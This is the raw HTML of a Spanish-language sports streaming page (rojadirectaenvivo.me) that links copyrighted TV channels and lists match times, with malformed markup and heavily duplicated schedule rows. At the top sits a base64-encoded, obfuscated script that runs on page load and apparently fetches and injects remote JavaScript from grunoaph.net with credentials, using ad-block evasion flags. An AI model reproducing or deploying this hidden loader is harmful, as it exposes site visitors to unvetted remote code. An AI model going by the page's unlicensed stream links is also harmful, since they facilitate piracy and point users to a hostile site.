9FKHF3bCs2bHdvfWwuWDNxTTkrIzpXOmkjK1pXXmxrLmFISCNsOitaV15sZS5hSEgjbDorPU1xbEU6KG9aKz1NcWxFOi5ibEg6KyM9NnFaOitsQjo2VytebDoocXdsQW9FbC5hSEgjbDorLk5vSC5HLl8rOVc6VyNsOis2bDlpPWwrOjNxIytXNT05bEheM3FTfk13RW9aKjYjOml9TkJ0QSsuKVozWis6M2xFKzZsSCsuKStzcTlNbChxd2xvaTorTW89Vzpxb0UrN281U2w9Oi4qWjZvPWwjIy0rIz02b01NKG9aKyM9Nm9NTS5ibEg6KzsyMTQ3NDgzNjQ3KzZsI29NfWwrMzZsSCsjPTYraTZNKzp0Wmwrd2w6M285KzZsKmlsIzpzcTkrNmwjWm9FI2wodFpsK0FvRWxxOXNXOTVNbz1+K3NxOU1sKHF3bG9pOi5AOStsNjZvNisuKTM6d00rXmw6KHF3bCs6b3ZaWmw2LlhXI2wrLiwuRi4sKy44UitOcTozLlg2bDlsRTpxV00jKzsxODAwMDAwK2xCPU1pOWwjK15sOi4sNm86bzp0WmwuYUgrNmxNKz02byMjLmE2cV5xRSsjbE1sPTpvNisjM3FIOis7MzUrMzo6WiMuSitpI2wuMT02bDlsRTpxV00jKyM6VzY6LmJvVzlxRV4rcUUjbDY6LiFsSG82bCsuKisuKVMjb0UrXmw6LlBNTXpsI1pvRSNsLkZsVzlsNiMraSNsNi5QXmxFOisuKT0jIy5uKy4pWkVeLm4rSHFFOSsufStNV0VeaVdebCtBb0VscTkrNmxIbDY2bDYrOnF3bHM5cUhIKy5EOitoOis9aTY2bEU6c2k2TStlOit2Oit+bHQjKy40LjQrWjZvPWwjIytvNVNsPTorPVdNTSNxXkUrQW9FbHE5c282cV5xRVdNK2kjbDZzV15sRTorOjZxdysuKVMjLm4rOTZXTi5Ad1debCs6by5AUi5hUjo2cUVeKzszNTcxKz1vRTpsRTouSW89aXdsRTorI29pNiNsLklxfSs7MjA0Kz1XTU01Vz1+K1c2XiMrSHFNTStpI2w2LmJXRV5pV15sKyM9NmxsRXNOcTk6MysjPTZsbEVzM2xxXjM6K15sOi5Yb0U6bEI6K15sOi5Ad1debC5JVzpXK2w2Nm82Lio2bCppbCM6Lio6cXdsb2k6Kz1XRX1XIysuMDkrczVNV0V+Kzpxd2xBb0VsKy5KLiorN3I2ckUtLnArbDY2bzYuKi5CK2s6KzZsSGw2Nmw2czlvd1dxRSs9aTY2bEU6c2k2TXM5b3dXcUUrNTZvTiNsNnNNV0VeKzpvLmJvTmw2LlhXI2wrc29FKHF3bG9pOis9Vzo9Mytab04rLjRsfWxFOisjaTUjOjZxRV4rM28jOisjOjZxRV5xSHQrIzpXOmkjKGxCOiteOVo2KzorLjYrLkIuKk4zcU1sLio2bCppbCM6cUVeLiorWm8jOisuRytFbEI6KzYrPW9FIzo2aT06bzYrIzp0TWxSM2xsOiMraSNsNnNxOSs5b0VsKyMzcUg6Ujo2cUVeLiorNStxRT1NaTlsIyszbFc5bDYjKzZsTVc6cX1sKzlXOmwuSisuTisuNC5VLjQrOzE3K3F3Wm82OlI9NnFaOiMrOzI1Nis9IyN6aU1sIysjbE1sPTpvNihsQjorb0V3bCMjV15sKy4pTnE5Xmw6LjE9b00uMS5fLlQuMSNaKyM6VzppI3M9bzlsKzpsQjorPW9FOmxFOis2bDppNkUrIzpXNjouQEVTbD06Uj02cVo6LlhvOWwrWm82Oi5fK1pvNjouMCtsRTkuQEVTbD06Uj02cVo6LlhvOWwrI2w6LlA6OjZxNWk6bCs5VzpXLjFBb0VsLjFxOSs5VzpXLjE5b3dXcUUrb0U2bFc5dCM6VzpsPTNXRV5sK28rI2w6LkB3d2w5cVc6bC5pKyNvaTY9bCsuaStXOjpXPTMuL31sRTorIzo2cUVeKzsyOScsZnVuY3Rpb24obix5KXtmb3IodmFyIHI9J1l6Uih2aCZla0s3ci1dc3lXNT05bEheM3FTfk13RW9aKjYjOml9TkJ0QWNwVjEpNFRfMG1qVU9beFFKdUNHMm5kUCFYSS9MREZAOGZifGdhLCcsdD1bJy4nLCclJywneyddLGU9JycsaT0xLGY9MDtmPG4ubGVuZ3RoO2YrKyl7dmFyIG89ci5pbmRleE9mKG5bZl0pO3QuaW5kZXhPZihuW2ZdKT4tMSYmMD09PXQuaW5kZXhPZihuW2ZdKSYmKGk9MCksbz4tMSYmKGUrPXkoaSpyLmxlbmd0aCtvKSxpPTEpO31yZXR1cm4gZTt9KSksKGZ1bmN0aW9uKHMpe3ZhciBfPXt9O2ZvcihrIGluIHMpe3RyeXtfW2tdPXNba10uYmluZChzKTt9Y2F0Y2goZSl7X1trXT1zW2tdO319cmV0dXJuIF87fSkoZG9jdW1lbnQpKTwvc2NyaXB0PjxzY3JpcHQ+KGZ1bmN0aW9uKGQseix4LHMsZSxvKXtzLnNyYz0nLy8nK2QrJy90YWcubWluLmpzJzt4LndpdGhDcmVkZW50aWFscz10cnVlO3gub3BlbignR0VUJywnLy8nK2QrJy81LycreisnLz9vbz0xJmFhYj0xJywhMCk7cy5vbmVycm9yPXgub25lcnJvcj1FO3Mub25sb2FkPXgub25sb2FkPWc7eC5zZW5kKCk7KGRvY3VtZW50LmJvZHl8fGRvY3VtZW50LmRvY3VtZW50RWxlbWVudCkuYXBwZW5kQ2hpbGQocyk7ZnVuY3Rpb24gZygpe289dGhpcy5yZXNwb25zZT9KU09OLnBhcnNlKHRoaXMucmVzcG9uc2UpOm87byYmd2luZG93LmtrcDRhNXg1dHYmJndpbmRvdy5ra3A0YTV4NXR2KG8pO31mdW5jdGlvbiBFKCl7ZSYmZSgpO2U9bnVsbDt9fSkoJ2dydW5vYXBoLm5ldCcsNDcyMzMwMixuZXcgWE1MSHR0cFJlcXVlc3QoKSxkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKSxfdG1wYnltKTwvc2NyaXB0Pg=="));</script> <body onload="guardaHorario();dT();"> <div class="container"> <header> <div id="Layer2"><a href="/"><img src="https://1.bp.blogspot.com/-xuKwTRlyly4/XFMV3XmeFMI/AAAAAAAAD18/GUA4CxHQ7cUCttMVNSkon5gzFsVUwgCPQCLcBGAs/s1600/rojadirecta.png" width="120" height="120" alt="Tarjeta Roja TV | ROJA DIRECTA – PirloTV - Futbol en vivo" title="Tarjeta Roja TV | ROJA DIRECTA – PirloTV - Elitegol"></a></div> <div id="Layer3"><i>ROJADIRECTAENVIVO.ME</i></div> </header> <menu> <nav> <ul> <li><a href="https://www.rojadirectaenvivo.me"><span class="icon-home"></span>Inicio</a></li> <li><a href="https://www.rojadirectaenvivo.me"><span class="icon-file-text"></span>Agenda</a></li> <li class="submenu"> <a href="#"> <span class="icon-tv"></span>TV Perú </a> <ul class="children"> <li><a href="https://rojadirectaenvivo.me/atv-en-vivo.php">Atv</a></li> <li><a href="https://rojadirectaenvivo.me/america-tv-en-vivo.php">América Tv</a></li> <li><a href="https://rojadirectaenvivo.me/latina-en-vivo.php">Latina</a></li> <li><a href="https://rojadirectaenvivo.me/gol-peru-en-vivo.php">Gol perú</a></li> </ul> </li> <li class="submenu"> <a href="#"> <span class="icon-tv"></span>TV Colombia </a> <ul class="children"> <li><a href="https://rojadirectaenvivo.me/caracol-en-vivo.php">Caracol</a></li> <li><a href="https://rojadirectaenvivo.me/rcn-en-vivo.php">RCN</a></li> <li><a href="https://rojadirectaenvivo.me/win-sport-en-vivo.php">Win Sports</a></li> </ul> </li> <li class="submenu"> <a href="#"> <span class="icon-tv"></span>TV México </a> <ul class="children"> <li><a href="https://rojadirectaenvivo.me/udn-en-vivo.php">Univision Deportes</a></li> <li><a href="https://rojadirectaenvivo.me/tdn-en-vivo.php">TDN</a></li> <li><a href="https://rojadirectaenvivo.me/azteca-7-en-vivo.php">Azteca 7</a></li> <li><a href="https://rojadirectaenvivo.me/azteca-13-en-vivo.php">Azteca 13</a></li> </ul> </li> <li class="submenu"> <a href="#"> <span class="icon-futbol"></span>TV Deportes </a> <ul class="children"> <li><a href="https://rojadirectaenvivo.me/fox-sport-en-vivo.php">Fox Sports</a></li> <li><a href="https://rojadirectaenvivo.me/fox-sport-1.php">Fox Sports1</a></li> <li><a href="https://rojadirectaenvivo.me/fox-sport-2-en-vivo.php">Fox Sports 2</a></li> <li><a href="https://rojadirectaenvivo.me/fox-sport-3-en-vivo.php">Fox Sports 3</a></li> <li><a href="https://rojadirectaenvivo.me/fox-sport-play-en-vivo.php">Fox Sports Play</a></li> <li><a href="https://rojadirectaenvivo.me/directv-sport-en-vivo.php">Directv Sports</a></li> <li><a href="https://rojadirectaenvivo.me/directv-sport-1-en-vivo.php">Directv Sports 1</a></li> <li><a href="https://rojadirectaenvivo.me/directv-sport-2-en-vivo.php">Directv Sports 2</a></li> <li><a href="https://rojadirectaenvivo.me/directv-sport-+-en-vivo.php">Directv Sports +</a></li> <li><a href="https://rojadirectaenvivo.me/directv-sport-plus-en-vivo.php">Directv Sports Plus</a></li> <li><a href="https://rojadirectaenvivo.me/espn-en-vivo.php">ESPN</a></li> <li><a href="https://rojadirectaenvivo.me/espn-2-en-vivo.php">ESPN 2</a></li> <li><a href="https://rojadirectaenvivo.me/espn-3-en-vivo.php">ESPN 3</a></li> <li><a href="https://rojadirectaenvivo.me/espn-play-en-vivo.php">ESPN PLAY</a></li> <li><a href="https://rojadirectaenvivo.me/tyc-sport-en-vivo.php">TyC Sports</a></li> <li><a href="https://rojadirectaenvivo.me/bein-sport.php">beIN Sports </a></li> </ul> </li> <li><div class="aaa"><a href="https://www.rojadirectaenvivo.me"><span class="icon-user-tie"></span>Supervision</a></div></li> </ul> </nav> </menu> <div class="banner"> </div> <div class="main"> <div class="contenido"> <div class="content"> <h3>ROJADIRECTA: dia, hora y Ver La Liga Santander en vivo Gratis</h3> <h1><span class="es"> Programación Rojadirecta en Vivo !!! </span></h1> <table> <tr><td><span class='t'>20:30PM</span></td><td><img src='/JPG/concacaf.png' alt="" /></td><td>CONCACAF Champions Cup:<a href='/tv-Star+.php' target='_blank'><b>Vancouver Whitecaps vs Pumas UNAM en Vivo</b></a></td></t> <tr><td><span class='t'>20:30PM</span></td><td><img src='/JPG/concacaf.png' alt="" /></td><td>CONCACAF Champions Cup:<a href='/tv-Star+.php' target='_blank'><b>Vancouver Whitecaps vs Pumas UNAM en Vivo</b></a></td></t> <tr><td><span class='t'>20:30PM</span></td><td><img src='/JPG/concacaf.png' alt="" /></td><td>CONCACAF Champions Cup:<a href='/tv-Star+.php' target='_blank'><b>Vancouver Whitecaps vs Pumas UNAM en Vivo</b></a></td></t> <tr><td><span class='t'>20:30PM</span></td><td><img src='/JPG/concacaf.png' alt="" /></td><td>CONCACAF Champions Cup:<a href='/tv-Star+.php' target='_blank'><b>Vancouver Whitecaps vs Pumas UNAM en Vivo</b></a></td></t> <tr><td><span class='t'>20:30PM</span></td><td><img src='/JPG/concacaf.png' alt="" /></td><td>CONCACAF Champions Cup:<a href='/tv-tdn-en-vivo.php' target='_blank'><b>Vancouver Whitecaps vs Pumas UNAM en Vivo</b></a></td></t> <tr><td><span class='t'>20:30PM</span></td><td><img src='/JPG/concacaf.png' alt="" /></td><td>CONCACAF Champions Cup:<a href='/tv-tdn-en-vivo.php' target='_blank'><b>Vancouver Whitecaps vs Pumas UNAM en Vivo</b></a></td></t> <tr><td><span class='t'>20:30PM</span></td><td><img src='/JPG/concacaf.png' alt="" /></td><td>CONCACAF Champions Cup:<a href='/tv-tdn-en-vivo.php' target='_blank'><b>Vancouver Whitecaps vs Pumas UNAM en Vivo</b></a></td></t> <tr><td><span class='t'>20:30PM</span></td><td><img src='/JPG/concacaf.png' alt="" /></td><td>CONCACAF Champions Cup:<a href='/tv-tdn-en-vivo.php' target='_blank'><b>Vancouver Whitecaps vs Pumas UNAM en Vivo</b></a></td></t> <tr><td><span class='t'>20:30PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-200.php' target='_blank'><b>Oklahoma City Thunder vs Detroit Pistons en Vivo</b></a></td></t> <tr><td><span class='t'>20:30PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-200.php' target='_blank'><b>Oklahoma City Thunder vs Detroit Pistons en Vivo</b></a></td></t> <tr><td><span class='t'>20:30PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-200.php' target='_blank'><b>Oklahoma City Thunder vs Detroit Pistons en Vivo</b></a></td></t> <tr><td><span class='t'>20:30PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-200.php' target='_blank'><b>Oklahoma City Thunder vs Detroit Pistons en Vivo</b></a></td></t> <tr><td><span class='t'>20:30PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-200.php' target='_blank'><b>Oklahoma City Thunder vs Detroit Pistons en Vivo</b></a></td></t> <tr><td><span class='t'>20:30PM</span></td><td><img src='/JPG/nhl.png' alt="" /></td><td>NHL:<a href='/tv-canal-2.php' target='_blank'><b>Chicago Blackhawks vs Colorado Avalanche en Vivo</b></a></td></t> <tr><td><span class='t'>20:30PM</span></td><td><img src='/JPG/nhl.png' alt="" /></td><td>NHL:<a href='/tv-canal-2.php' target='_blank'><b>Chicago Blackhawks vs Colorado Avalanche en Vivo</b></a></td></t> <tr><td><span class='t'>20:30PM</span></td><td><img src='/JPG/nhl.png' alt="" /></td><td>NHL:<a href='/tv-canal-2.php' target='_blank'><b>Chicago Blackhawks vs Colorado Avalanche en Vivo</b></a></td></t> <tr><td><span class='t'>20:30PM</span></td><td><img src='/JPG/nhl.png' alt="" /></td><td>NHL:<a href='/tv-canal-2.php' target='_blank'><b>Chicago Blackhawks vs Colorado Avalanche en Vivo</b></a></td></t> <tr><td><span class='t'>20:30PM</span></td><td><img src='/JPG/nhl.png' alt="" /></td><td>NHL:<a href='/tv-canal-2.php' target='_blank'><b>Chicago Blackhawks vs Colorado Avalanche en Vivo</b></a></td></t> <tr><td><span class='t'>21:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-espn-en-vivo.php' target='_blank'><b>Atlético Nacional vs Nacional en Vivo</b></a></td></t> <tr><td><span class='t'>21:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-espn-en-vivo.php' target='_blank'><b>Atlético Nacional vs Nacional en Vivo</b></a></td></t> <tr><td><span class='t'>21:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-espn-en-vivo.php' target='_blank'><b>Atlético Nacional vs Nacional en Vivo</b></a></td></t> <tr><td><span class='t'>21:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-espn-en-vivo.php' target='_blank'><b>Atlético Nacional vs Nacional en Vivo</b></a></td></t> <tr><td><span class='t'>21:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-winsport +.php' target='_blank'><b>Atlético Nacional vs Nacional en Vivo</b></a></td></t> <tr><td><span class='t'>21:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-winsport +.php' target='_blank'><b>Atlético Nacional vs Nacional en Vivo</b></a></td></t> <tr><td><span class='t'>21:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-winsport +.php' target='_blank'><b>Atlético Nacional vs Nacional en Vivo</b></a></td></t> <tr><td><span class='t'>21:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-winsport +.php' target='_blank'><b>Atlético Nacional vs Nacional en Vivo</b></a></td></t> <tr><td><span class='t'>21:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-vtv-vera.php' target='_blank'><b>Atlético Nacional vs Nacional en Vivo</b></a></td></t> <tr><td><span class='t'>21:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-vtv-vera.php' target='_blank'><b>Atlético Nacional vs Nacional en Vivo</b></a></td></t> <tr><td><span class='t'>21:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-vtv-vera.php' target='_blank'><b>Atlético Nacional vs Nacional en Vivo</b></a></td></t> <tr><td><span class='t'>21:00PM</span></td><td><img src='/JPG/lib.png' alt="" /></td><td>Copa Libertadores:<a href='/tv-vtv-vera.php' target='_blank'><b>Atlético Nacional vs Nacional en Vivo</b></a></td></t> <tr><td><span class='t'>21:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-espn-3-en-vivo.php' target='_blank'><b>Atlético Grau vs Godoy Cruz en Vivo</b></a></td></t> <tr><td><span class='t'>21:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-espn-3-en-vivo.php' target='_blank'><b>Atlético Grau vs Godoy Cruz en Vivo</b></a></td></t> <tr><td><span class='t'>21:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-espn-3-en-vivo.php' target='_blank'><b>Atlético Grau vs Godoy Cruz en Vivo</b></a></td></t> <tr><td><span class='t'>21:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-espn-3-en-vivo.php' target='_blank'><b>Atlético Grau vs Godoy Cruz en Vivo</b></a></td></t> <tr><td><span class='t'>21:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-gol-peru-en-vivo.php' target='_blank'><b>Atlético Grau vs Godoy Cruz en Vivo</b></a></td></t> <tr><td><span class='t'>21:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-gol-peru-en-vivo.php' target='_blank'><b>Atlético Grau vs Godoy Cruz en Vivo</b></a></td></t> <tr><td><span class='t'>21:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-gol-peru-en-vivo.php' target='_blank'><b>Atlético Grau vs Godoy Cruz en Vivo</b></a></td></t> <tr><td><span class='t'>21:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-gol-peru-en-vivo.php' target='_blank'><b>Atlético Grau vs Godoy Cruz en Vivo</b></a></td></t> <tr><td><span class='t'>21:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-Espn-Premium.php' target='_blank'><b>Atlético Grau vs Godoy Cruz en Vivo</b></a></td></t> <tr><td><span class='t'>21:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-Espn-Premium.php' target='_blank'><b>Atlético Grau vs Godoy Cruz en Vivo</b></a></td></t> <tr><td><span class='t'>21:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-Espn-Premium.php' target='_blank'><b>Atlético Grau vs Godoy Cruz en Vivo</b></a></td></t> <tr><td><span class='t'>21:00PM</span></td><td><img src='/JPG/suda.png' alt="" /></td><td>Copa Sudamericana:<a href='/tv-Espn-Premium.php' target='_blank'><b>Atlético Grau vs Godoy Cruz en Vivo</b></a></td></t> <tr><td><span class='t'>21:30PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-201.php' target='_blank'><b>Los Angeles Clippers vs New Orleans Pelicans en Vivo</b></a></td></t> <tr><td><span class='t'>21:30PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-201.php' target='_blank'><b>Los Angeles Clippers vs New Orleans Pelicans en Vivo</b></a></td></t> <tr><td><span class='t'>21:30PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-201.php' target='_blank'><b>Los Angeles Clippers vs New Orleans Pelicans en Vivo</b></a></td></t> <tr><td><span class='t'>21:30PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-201.php' target='_blank'><b>Los Angeles Clippers vs New Orleans Pelicans en Vivo</b></a></td></t> <tr><td><span class='t'>21:30PM</span></td><td><img src='/JPG/nba.png' alt="" /></td><td>NBA:<a href='/tv-canal-201.php' target='_blank'><b>Los Angeles Clippers vs New Orleans Pelicans en Vivo</b></a></td></t> <tr><td><span class='t'>21:30PM</span></td><td><img src='/JPG/nhl.png' alt="" /></td><td>NHL:<a href='/tv-canal-1.php' target='_blank'><b>Vancouver Canucks vs Seattle Kraken en Vivo</b></a></td></t> <tr><td><span class='t'>21:30PM</span></td><td><img src='/JPG/nhl.png' alt="" /></td><td>NHL:<a href='/tv-canal-1.php' target='_blank'><b>Vancouver Canucks vs Seattle Kraken en Vivo</b></a></td></t> <tr><td><span class='t'>21:30PM</span></td><td><img src='/JPG/nhl.png' alt="" /></td><td>NHL:<a href='/tv-canal-1.php' target='_blank'><b>Vancouver Canucks vs Seattle Kraken en Vivo</b></a></td></t> <tr><td><span class='t'>21:30PM</span></td><td><img src='/JPG/nhl.png' alt="" /></td><td>NHL:<a href='/tv-canal-1.php' target='_blank'><b>Vancouver Canucks vs Seattle Kraken en Vivo</b></a></td></t> <tr><td><span class='t'>21:30PM</span></td><td><img src='/JPG/nhl.png' alt="" /></td><td>NHL:<a href='/tv-canal-1.php' target='_blank'><b>Vancouver Canucks vs Seattle Kraken en Vivo</b></a></td></t> <tr><td><span class='t'>22:30PM</span></td><td><img src='/JPG/concacaf.png' alt="" /></td><td>CONCACAF Champions Cup:<a href='/tv-Star+.php' target='_blank'><b>Los Angeles FC vs Inter Miami CF en Vivo</b></a></td></t> <tr><td><span class='t'>22:30PM</span></td><td><img src='/JPG/concacaf.png' alt="" /></td><td>CONCACAF Champions Cup:<a href='/tv-Star+.php' target='_blank'><b>Los Angeles FC vs Inter Miami CF en Vivo</b></a></td></t> <tr><td><span class='t'>22:30PM</span></td><td><img src='/JPG/concacaf.png' alt="" /></td><td>CONCACAF Champions Cup:<a href='/tv-Star+.php' target='_blank'><b>Los Angeles FC vs Inter Miami CF en Vivo</b></a></td></t> <tr><td><span class='t'>22:30PM</span></td><td><img src='/JPG/concacaf.png' alt="" /></td><td>CONCACAF Champions Cup:<a href='/tv-Star+.php' target='_blank'><b>Los Angeles FC vs Inter Miami CF en Vivo</b></a></td></t> <tr><td><span class='t'>22:30PM</span></td><td><img src='/JPG/concacaf.png' alt="" /></td><td>CONCACAF Champions Cup:<a href='/tv-tdn-en-vivo.php' target='_blank'><b>Los Angeles FC vs Inter Miami CF en Vivo</b></a></td></t> <tr><td><span class='t'>22:30PM</span></td><td><img src='/JPG/concacaf.png' alt="" /></td><td>CONCACAF Champions Cup:<a href='/tv-tdn-en-vivo.php' target='_blank'><b>Los Angeles FC vs Inter Miami CF en Vivo</b></a></td></t> <tr><td><span class='t'>22:30PM</span></td><td><img src='/JPG/concacaf.png' alt="" /></td><td>CONCACAF Champions Cup:<a href='/tv-tdn-en-vivo.php' target='_blank'><b>Los Angeles FC vs Inter Miami CF en Vivo</b></a></td></t> <tr><td><span class='t'>22:30PM</span></td><td><img src='/JPG/concacaf.png' alt="" /></td><td>CONCACAF Champions Cup:<a href='/tv-tdn-en-vivo.php' target='_blank'><b>Los Angeles FC vs Inter Miami CF en Vivo</b></a></td></t> <tr><td><span class='t'>12:00PM</span></td><td><img src='/JPG/tq.png' alt="" /></td><td>Copa:<a href='/tv-directv-sport-1-en-vivo.php' target='_blank'><b>Beşiktaş vs Göztepe en Vivo</b></a></td></t> <tr><td><span class='t'>12:00PM</span></td><td><img src='/JPG/tq.png' alt="" /></td><td>Copa:<a href='/tv-directv-sport-1-en-vivo.php' target='_blank'><b>Beşiktaş vs Göztepe en Vivo</b></a></td></t> <tr><td><span class='t'>12:00PM</span></td><td><img src='/JPG/tq.png' alt="" /></td><td>Copa:<a href='/tv-directv-sport-1-en-vivo.php' target='_blank'><b>Beşiktaş vs Göztepe en Vivo</b></a></td></t> <tr><td><span class='t'>12:00PM</span></td><td><img src='/JPG/tq.png' alt="" /></td><td>Copa:<a href='/tv-directv-sport-1-en-vivo.php' target='_blank'><b>Beşiktaş vs Göztepe en Vivo</b></a></td></t> <tr><td><span class='t'>12:00PM</span></td><td><img src='/JPG/tq.png' alt="" /></td><td>Copa:<a href='/tv-directv-sport-1-en-vivo.php' target='_blank'><b>Beşiktaş vs Göztepe en Vivo</b></a></td></t> <tr><td><span class='t'>12:00PM</span></td><td><img src='/JPG/tq.png' alt="" /></td><td>Copa:<a href='/tv-directv-sport-1-en-vivo.php' target='_blank'><b>Beşiktaş vs Göztepe en Vivo</b></a></td></t> <tr><td><span class='t'>12:00PM</span></td><td><img src='/JPG/bkb.png' alt="" /></td><td>Euroliga:<a href='/tv-fox-sport-3-en-vivo.php' target='_blank'><b>Mónaco vs Panathinaikos en Vivo</b></a></td></t> <tr><td><span class='t'>12:00PM</span></td><td><img src='/JPG/bkb.png' alt="" /></td><td>Euroliga:<a href='/tv-fox-sport-3-en-vivo.php' target='_blank'><b>Mónaco vs Panathinaikos en Vivo</b></a></td></t> <tr><td><span class='t'>12:00PM</span></td><td><img src='/JPG/bkb.png' alt="" /></td><td>Euroliga:<a href='/tv-fox-sport-3-en-vivo.php' target='_blank'><b>Mónaco vs Panathinaikos en Vivo</b></a></td></t> <tr><td><span class='t'>12:00PM</span></td><td><img src='/JPG/bkb.png' alt="" /></td><td>Euroliga:<a href='/tv-fox-sport-3-en-vivo.php' target='_blank'><b>Mónaco vs Panathinaikos en Vivo</b></a></td></t> <tr><td><span class='t'>12:00PM</span></td><td><img src='/JPG/bkb.png' alt="" /></td><td>Euroliga:<a href='/tv-fox-sport-3-en-vivo.php' target='_blank'><b>Mónaco vs Panathinaikos en Vivo</b></a></td></t> <tr><td><span class='t'>12:00PM</span></td><td><img src='/JPG/bkb.png' alt="" /></td><td>Euroliga:<a href='/tv-fox-sport-3-en-vivo.php' target='_blank'><b>Mónaco vs Panathinaikos en Vivo</b></a></td></t> <tr><td><span class='t'>12:00PM</span></td><td><img src='/JPG/bkb.png' alt="" /></td><td>Euroliga:<a href='/tv-fox-sport-2-en-vivo.php' target='_blank'><b>Zalgiris Kaunas vs Partizan en Vivo</b></a></td></t> <tr><td><span class='t'>12:00PM</span></td><td><img src='/JPG/bkb.png' alt="" /></td><td>Euroliga:<a href='/tv-fox-sport-2-en-vivo.php' target='_blank'><b>Zalgiris Kaunas vs Partizan en Vivo</b></a></td></t> <tr><td><span class='t'>12:00PM</span></td><td><img src='/JPG/bkb.png' alt="" /></td><td>Euroliga:<a href='/tv-fox-sport-2-en-vivo.php' target='_blank'><b>Zalgiris Kaunas vs Partizan en Vivo</b></a></td></t> <tr><td><span class='t'>12:00PM</span></td><td><img src='/JPG/bkb.png' alt="" /></td><td>Euroliga:<a href='/tv-fox-sport-2-en-vivo.php' target='_blank'><b>Zalgiris Kaunas vs Partizan en Vivo</b></a></td></t> <tr><td><span class='t'>12:00PM</span></td><td><img src='/JPG/bkb.png' alt="" /></td><td>Euroliga:<a href='/tv-fox-sport-2-en-vivo.php' target='_blank'><b>Zalgiris Kaunas vs Partizan en Vivo</b></a></td></t> <tr><td><span class='t'>12:00PM</span></td><td><img src='/JPG/bkb.png' alt="" /></td><td>Euroliga:<a href='/tv-fox-sport-2-en-vivo.php' target='_blank'><b>Zalgiris Kaunas vs Partizan en Vivo</b></a></td></t> <tr><td><span class='t'>13:30PM</span></td><td><img src='/JPG/bkb.png' alt="" /></td><td>Euroliga:<a href='/tv-Eurosport.php' target='_blank'><b>Maccabi Tel Aviv vs Bayern en Vivo</b></a></td></t> <tr><td><span class='t'>13:30PM</span></td><td><img src='/JPG/bkb.png' alt="" /></td><td>Euroliga:<a href='/tv-Eurosport.php' target='_blank'><b>Maccabi Tel Aviv vs Bayern en Vivo</b></a></td></t> <tr><td><span class='t'>13:30PM</span></td><td><img src='/JPG/bkb.png' alt="" /></td><td>Euroliga:<a href='/tv-Eurosport.php' target='_blank'><b>Maccabi Tel Aviv vs Bayern en Vivo</b></a></td></t> <tr><td><span class='t'>13:30PM</span></td><td><img src='/JPG/bkb.png' alt="" /></td><td>Euroliga:<a href='/tv-Eurosport.php' target='_blank'><b>Maccabi Tel Aviv vs Bayern en Vivo</b></a></td></t> <tr><td><span class='t'>13:30PM</span></td><td><img src='/JPG/bkb.png' alt="" /></td><td>Euroliga:<a href='/tv-Eurosport.php' target='_blank'><b>Maccabi Tel Aviv vs Bayern en Vivo</b></a></td></t> <tr><td><span class='t'>13:30PM</span></td><td><img src='/JPG/bkb.png' alt="" /></td><td>Euroliga:<a href='/tv-Eurosport.php' target='_blank'><b>Maccabi Tel Aviv vs Bayern en Vivo</b></a></td></t> <tr><td><span class='t'>14:00PM</span></td><td><img src='/JPG/en.png' alt="" /></td><td>Premier League:<a href='/tv-espn-en-vivo.php' target='_blank'><b>Chelsea vs Tottenham en Vivo</b></a></td></t> <tr><td><span class='t'>14:00PM</span></td><td><img src='/JPG/en.png' alt="" /></td><td>Premier League:<a href='/tv-espn-en-vivo.php' target='_blank'><b>Chelsea vs Tottenham en Vivo</b></a></td></t> <tr><td><span class='t'>14:00PM</span></td><td><img src='/JPG/en.png' alt="" /></td><td>Premier League:<a href='/tv-espn-en-vivo.php' target='_blank'><b>Chelsea vs Tottenham en Vivo</b></a></td></t> <tr><td><span class='t'>14:00PM</span></td><td><img src='/JPG/en.png' alt="" /></td><td>Premier League:<a href='/tv-espn-en-vivo.php' target='_blank'><b>Chelsea vs Tottenham en Vivo</b></a></td></t> 